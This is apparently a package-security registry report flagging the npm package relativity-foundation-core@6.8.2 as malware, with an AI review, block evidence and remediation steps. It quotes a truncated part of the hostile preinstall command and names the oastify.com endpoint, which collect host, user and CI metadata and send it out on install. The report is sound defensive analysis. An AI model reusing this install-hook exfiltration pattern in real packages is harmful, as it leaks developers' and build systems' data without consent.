registry / Data exfiltration / relativity-foundation-core
relativity-foundation-core
This report shows the evidence for relativity-foundation-core@6.8.2. 1 of 2 known versions is blocked or flagged. The newest version, 0.0.1-security, is allowed. See all versions.
AI Security Review
scanned 3mo ago · by lpm-firewall-aiSource inspection confirms concrete preinstall-time collection and external transmission of local/CI metadata. The behavior is unrelated to the package's empty runtime export and is malicious.
Static reason
High-risk behavior combination matched malicious policy.
Trigger
npm installation of relativity-foundation-core@6.8.2
Impact
Discloses host, user, working-directory, registry, and CI metadata to a third party without consent.
Mechanism
preinstall-time environment reconnaissance and HTTPS exfiltration
Attack narrative
On installation, npm runs the inline `preinstall` command in `package.json`. It reads hostname and selected environment variables, including CI and repository metadata, serializes and base64-encodes them, then makes an HTTPS request to an OASTify-controlled endpoint. The catch-all error handler suppresses failures. This is unsolicited install-time reconnaissance and exfiltration; the package entrypoint provides no legitimate functionality that would require it.
AI rationale
Source inspection confirms concrete preinstall-time collection and external transmission of local/CI metadata. The behavior is unrelated to the package's empty runtime export and is malicious.
Evidence
package.jsonindex.js
Network endpoints1
aiwi9di43fzbjwncfrimdvkgu701orcg.oastify.com/?d=
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- `package.json` defines an npm `preinstall` hook.
- The hook collects hostname, username, cwd, registry, CI, GitHub, and Jenkins environment metadata.
- It base64-encodes the collected data and sends it via HTTPS GET to an OAST host.
- Errors are silently ignored, reducing visibility during installation.
Evidence against
- `index.js` only exports an empty object and has no runtime behavior.
- No other package files are present beyond `package.json` and `index.js`.
Behavioral surface
Trivial
Source & flagged code
2 flagged · loading sourcepackage.jsonView file
•scripts.preinstall = node -e "try{const h=require('https');const os=require('os');const d=Buffer.from(JSON.stringify({host:os.hostname(),user:process.env.USER||process.env.USERNAME,cwd:process.cwd(),re...
Critical
Red Install Lifecycle Script
Install-time lifecycle script matches a deterministic static-gate block pattern.
package.jsonView on unpkg•scripts.preinstall = node -e "try{const h=require('https');const os=require('os');const d=Buffer.from(JSON.stringify({host:os.hostname(),user:process.env.USER||process.env.USERNAME,cwd:process.cwd(),re...
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkgFindings
1 Critical1 High1 Low
CriticalRed Install Lifecycle Scriptpackage.json
HighInstall Time Lifecycle Scriptspackage.json
LowScripts Present
Affected versions and remediation
This report applies to relativity-foundation-core@6.8.2.
The versions list below shows the verdict for each recorded version.
- Avoid installing relativity-foundation-core@6.8.2. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.